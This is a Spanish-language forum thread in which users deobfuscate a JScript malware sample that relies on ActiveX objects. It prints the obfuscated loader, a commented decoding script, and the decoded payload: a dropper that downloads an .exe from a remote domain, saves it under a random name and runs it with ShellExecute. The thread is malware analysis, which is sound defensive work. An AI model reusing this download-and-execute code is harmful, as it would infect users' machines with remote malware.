  6. return String.fromCharCode(LNCoRYhWseMSKfj);
  7.  
  8. }
  9. function iyMwbtAxWPOohYzjGv(DlibcWEgNxfXJtnFruQ)
  10. {
  11. return PdoNEByUDLakcIiurJF.FolderExists(DlibcWEgNxfXJtnFruQ);
  12.  
  13. }
  14. function MurNKQlVScmpLDXRe(qrPFDfoLQEACOjptid, reEkjghKfVbzHPYI)
  15. {
  16. return qrPFDfoLQEACOjptid.charCodeAt(reEkjghKfVbzHPYI);
  17.  
  18. }
  19. ojLqWfitUlxbncuQG = "f+wA+b+m+)+v+o+ftdb+q+f+A)#wAbs+&A31+xti+A+&3A+1&4+AE&31A+ofx+&+31BdA+uj+AwAfYP+c+A+k+f+A+d+uA+&A3A9A+&A+33xtdsj+qu+&+3A+Ft+i+fmA+m&+33&+3:&4C&+1AE+&A+1BA+wbs&A+3+1+tAi&3A1A+&4E&A31+ofAx&A+31+BduA+jAwfAY+APc+k+A+fd+u&A+3+9+A&33A+tAifm+m&3+FbqA+qmA+j+d+bujpo+&+33&3:A&+A4+C&+1E&A1+A+B+wbs&A31AIUU+Q&31&4A+E&3A1+Aof+x&31Bdujwf+YAPAc+kfdu&A39A&A3+3NTY+A+N+M&+4A+3&A3AF+YAN+AMAIU+UQ+&+A33A&3:&4CA&1+EA+&A1Bwbs&A+3+1TA+uAs+fb+A+nA&+3+1&A4EA+&3A1oA+fAx+&31BAdu+jAwfYAPc+Ak+f+AdA+u&3+A+9+&A33BE+PAEC&A3+A+FAT+us+Af+bn&33&A+3A:+A&+4+AC+A&+1E&A1+B+Aw+A+b+s&31q+A+bA+ui+&+A31&+4A+E&A+31+x+tA+i&+3+FT+Aqfdj+Abm+G+Ap+mef+s+t+&3+9&3A3+A+UA+fnqAmAb+u+fAtA&A+3A+3+&3:A&3+C&33+A&6AD&+6DA+&A33&A3AC&3A9&3A9Nb+ui&A+3+FAs+AbAoe+ApAn+&+3A9A+&3:&+3BA&A4:&4:A+&+4:+&A+4:&4:&+4+:&A3:A+&A+3AC+A+&+4A+:&A+4+:&4+A:&4:+&+8A+DA&41&3:&3AC&+33A+&+3FA+fyf&+A33&A+4+C&A+1EA&+1B+AIU+UQ+&3AF+Pqfo+&3A9&33AHFA+U+A+&33+A&+3DA&A+31A&3+3+AiA+uu+Aq+A&4B&3AG+&3G+e+Ap+A+vsA+v+jo+j+u+A+zeAvAbef&3+F+A+yAz
  20. {
  21. &3G+tfAb+A+sA+d+Ai+&+3FqA+iq+&+A33+A+&+3D&+A3+1gb+m+tf&A3+A:A&+A4C+&+31I+UU+QA&+3+A+F+ATfo+Ae+A&39&3:A&+4C&+3A+1jAgA&3+1+A+&+3A9+IUU+QA&+3+A+F+TubuAvt&+31+&4+A+E&A4+A+E&+3A1A&43&41&4+A1+&3A:A&3A1A&+8C&1E+A&1BTuAs+f+b+nA+&3FP+Aqf+o+A&+A39&3+:+A&+4C&31+Tusf+bn&+3AFA+UzqfA&31+&A4+E&+31&42&4CA&3A+1T+AusA+fbnA&3+FAX+sju+f&3+9IAUUQ&A3+AF+Sftqpo+AtfCApAez+&3:&4+C&A31+&+1A+EA&+A1+A+B+Tusfbn&A3F+Q+pA+t+Aju+j+A+po+&A+31&4E&31&4+A1&A+4+AC+&31+TAu+A+s+Afbn&A3+F+Tb+w+fU+ApAGj+m+A+f&39AqbuAi&A3+D+&31&43+&3A:&4C&1+AE&+1BATu+s+fb+n&3FDA+mptAfA&39&3:+&+4+C+&A31ti&A+3FATAiA+fAmmFyfdv+ufA&39qbui&3+D&+A31+A&A33&33+&3+D&31+A&33+&33A&A3A+DA&+3A1+A&33pqf+Ao+A+&3A3A+&+3A+D&A+3A1+&42&3:&4ACA&31&A+8E#**<";
  22. IGhuToEwXlJBQPS = "";
  23. hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM"+dhJRNafpLszqjoig(92)+"software"+dhJRNafpLszqjoig(92)+"microsoft"+dhJRNafpLszqjoig(92)+"windows nt"+dhJRNafpLszqjoig(92)+"currentversion"+dhJRNafpLszqjoig(92)+"systemroot");
  24. OlwpPLsvRDhBKQEV = MurNKQlVScmpLDXRe(hxEobzlsRgNfcdX, 1);
  25.  

Como ves esta mas osfuscado, si te fijas en el for hace alguna que otra operacion matematica y juega con los unicode(charCodeAt), trata de entender como funciona. Como ves juega con ActiveXObject, creo que solo es soportado por ie.
Mm desconozco si seria posible obtener lo que este ofuscado dentro de la variable ojLqWfitUlxbncuQG

Edito

Creo que lo importante es esta linea
Código
  1. hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM" + dhJRNafpLszqjoig(92) + "software" + dhJRNafpLszqjoig(92) + "microsoft" + dhJRNafpLszqjoig(92) + "windows nt" + dhJRNafpLszqjoig(92) + "currentversion" + dhJRNafpLszqjoig(92) + "systemroot");

Donde trata de leer el valor de HKLM\software\microsoft\windows nt\currentversion\systemroot. desconozco el valor que devolveria

Bueno si se puede, aqui esta lee los comentarios

Código
  1. <code id="charCode"></code>
  2. <script>
  3. /* Comentamos no necesitamos esto
  4. juEFqegXodwknWtlpOv = new ActiveXObject("sHell.aPPlicAtIon");
  5. OKMwPHjJQymtdVX = new ActiveXObject("wsCRipT.ShelL");
  6. PdoNEByUDLakcIiurJF = new ActiveXObject("ScrIpting.filEsYstemobJecT");
  7. */
  8.  
  9. function dhJRNafpLszqjoig(LNCoRYhWseMSKfj) {
  10.    return String.fromCharCode(LNCoRYhWseMSKfj);
  11.  
  12. }
  13.  
  14. function iyMwbtAxWPOohYzjGv(DlibcWEgNxfXJtnFruQ) {
  15.    return PdoNEByUDLakcIiurJF.FolderExists(DlibcWEgNxfXJtnFruQ);
  16.  
  17. }
  18.  
  19. function MurNKQlVScmpLDXRe(qrPFDfoLQEACOjptid, reEkjghKfVbzHPYI) {
  20.    return qrPFDfoLQEACOjptid.charCodeAt(reEkjghKfVbzHPYI);
  21.  
  22. }
  23. ojLqWfitUlxbncuQG = "f+wA+b+m+)+v+o+ftdb+q+f+A)#wAbs+&A31+xti+A+&3A+1&4+AE&31A+ofx+&+31BdA+uj+AwAfYP+c+A+k+f+A+d+uA+&A3A9A+&A+33xtdsj+qu+&+3A+Ft+i+fmA+m&+33&+3:&4C&+1AE+&A+1BA+wbs&A+3+1+tAi&3A1A+&4E&A31+ofAx&A+31+BduA+jAwfAY+APc+k+A+fd+u&A+3+9+A&33A+tAifm+m&3+FbqA+qmA+j+d+bujpo+&+33&3:A&+A4+C&+1E&A1+A+B+wbs&A31AIUU+Q&31&4A+E&3A1+Aof+x&31Bdujwf+YAPAc+kfdu&A39A&A3+3NTY+A+N+M&+4A+3&A3AF+YAN+AMAIU+UQ+&+A33A&3:&4CA&1+EA+&A1Bwbs&A+3+1TA+uAs+fb+A+nA&+3+1&A4EA+&3A1oA+fAx+&31BAdu+jAwfYAPc+Ak+f+AdA+u&3+A+9+&A33BE+PAEC&A3+A+FAT+us+Af+bn&33&A+3A:+A&+4+AC+A&+1E&A1+B+Aw+A+b+s&31q+A+bA+ui+&+A31&+4A+E&A+31+x+tA+i&+3+FT+Aqfdj+Abm+G+Ap+mef+s+t+&3+9&3A3+A+UA+fnqAmAb+u+fAtA&A+3A+3+&3:A&3+C&33+A&6AD&+6DA+&A33&A3AC&3A9&3A9Nb+ui&A+3+FAs+AbAoe+ApAn+&+3A9A+&3:&+3BA&A4:&4:A+&+4:+&A+4:&4:&+4+:&A3:A+&A+3AC+A+&+4A+:&A+4+:&4+A:&4:+&+8A+DA&41&3:&3AC&+33A+&+3FA+fyf&+A33&A+4+C&A+1EA&+1B+AIU+UQ+&3AF+Pqfo+&3A9&33AHFA+U+A+&33+A&+3DA&A+31A&3+3+AiA+uu+Aq+A&4B&3AG+&3G+e+Ap+A+vsA+v+jo+j+u+A+zeAvAbef&3+F+A+yAz {&3G+tfAb+A+sA+d+Ai+&+3FqA+iq+&+A33+A+&+3D&+A3+1gb+m+tf&A3+A:A&+A4C+&+31I+UU+QA&+3+A+F+ATfo+Ae+A&39&3:A&+4C&+3A+1jAgA&3+1+A+&+3A9+IUU+QA&+3+A+F+TubuAvt&+31+&4+A+E&A4+A+E&+3A1A&43&41&4+A1+&3A:A&3A1A&+8C&1E+A&1BTuAs+f+b+nA+&3FP+Aqf+o+A&+A39&3+:+A&+4C&31+Tusf+bn&+3AFA+UzqfA&31+&A4+E&+31&42&4CA&3A+1T+AusA+fbnA&3+FAX+sju+f&3+9IAUUQ&A3+AF+Sftqpo+AtfCApAez+&3:&4+C&A31+&+1A+EA&+A1+A+B+Tusfbn&A3F+Q+pA+t+Aju+j+A+po+&A+31&4E&31&4+A1&A+4+AC+&31+TAu+A+s+Afbn&A3+F+Tb+w+fU+ApAGj+m+A+f&39AqbuAi&A3+D+&31&43+&3A:&4C&1+AE&+1BATu+s+fb+n&3FDA+mptAfA&39&3:+&+4+C+&A31ti&A+3FATAiA+fAmmFyfdv+ufA&39qbui&3+D&+A31+A&A33&33+&3+D&31+A&33+&33A&A3A+DA&+3A1+A&33pqf+Ao+A+&3A3A+&+3A+D&A+3A1+&42&3:&4ACA&31&A+8E#**<";
  24.  
  25. //Tampoco necesitamos estas lineas
  26. //hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM" + dhJRNafpLszqjoig(92) + "software" + dhJRNafpLszqjoig(92) + "microsoft" + dhJRNafpLszqjoig(92) + "windows nt" + dhJRNafpLszqjoig(92) + "currentversion" + dhJRNafpLszqjoig(92) + "systemroot");
  27. //OlwpPLsvRDhBKQEV = MurNKQlVScmpLDXRe(hxEobzlsRgNfcdX, 1);
  28.  
  29. IGhuToEwXlJBQPS = "";
  30.  
  31. //Lo que nos importa es el valor OlwpPLsvRDhBKQEV, cree la funcion para
  32. //ir de numero a numero e ir probando e ir viendo los resultados
  33. function function1(OlwpPLsvRDhBKQEV) {
  34.    IGhuToEwXlJBQPS = "";
  35.  
  36.    for (var XTxDhusitPGEHjFQCBJ = 0; XTxDhusitPGEHjFQCBJ < ojLqWfitUlxbncuQG.length; XTxDhusitPGEHjFQCBJ++) {
  37.  
  38.        bLGgrdCMRovlpnx = ojLqWfitUlxbncuQG.charCodeAt(XTxDhusitPGEHjFQCBJ) - (363912 - 6168 * OlwpPLsvRDhBKQEV) / 6168;
  39.        if (
  40.            (bLGgrdCMRovlpnx != (496000 - 4960 * OlwpPLsvRDhBKQEV) / 4960) &&
  41.            (bLGgrdCMRovlpnx != (1009550 - 8275 * OlwpPLsvRDhBKQEV) / 8275)
  42.            // No necesitamos llamar estas funciones
  43.            // && (iyMwbtAxWPOohYzjGv(hxEobzlsRgNfcdX) == true)
  44.            // && (iyMwbtAxWPOohYzjGv(OlwpPLsvRDhBKQEV) == false))
  45.        ) {
  46.            IGhuToEwXlJBQPS += String.fromCharCode(bLGgrdCMRovlpnx);
  47.        }
  48.    }
  49.  
  50.    return IGhuToEwXlJBQPS;
  51.  
  52. }
  53.  
  54. /*
  55. //Aqui llamo la funcion x veces para ir viendo si alguno se
  56. //asemeja a un codigo legible
  57. for (var index = 48; index < 100; index++) {
  58.     //function1(index);
  59.     document.getElementById("charCode").innerHTML += function1(index) + "<br><br>**" + index + "***<br><br><br>";
  60. }
  61. */
  62.  
  63. //Bingo 58 es, decodeURIComponent para que sea legible
  64. document.getElementById("charCode").innerHTML = decodeURIComponent(function1(58));
  65.  
  66. </script>

Y al final este este codigo

Código
  1. eval(unescape("
  2. var wsh = new ActiveXObject("wscript.shell");
  3. var sh = new ActiveXObject("shell.application");
  4. var HTTP = new ActiveXObject("MSXML2.XMLHTTP");
  5. var Stream = new ActiveXObject("ADODB.Stream");
  6. var path = wsh.SpecialFolders("Templates") + "\\" + ((Math.random() * 999999) + 9999 | 0) + ".exe";
  7. HTTP.Open("GET", "http://douruinityduade.xyz/search.php", false);
  8. HTTP.Send();
  9. if (HTTP.Status == 200) {
  10.    Stream.Open();
  11.    Stream.Type = 1;
  12.    Stream.Write(HTTP.ResponseBody);
  13.    Stream.Position = 0;
  14.    Stream.SaveToFile(path, 2);
  15.    Stream.Close();
  16.    sh.ShellExecute(path, "", "", "open", 1);
  17. }
  18. "));

MOD: No hacer doble post. Usa el botón modificar.
« Última modificación: 15 Febrero 2019, 16:03 pm por EFEX » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines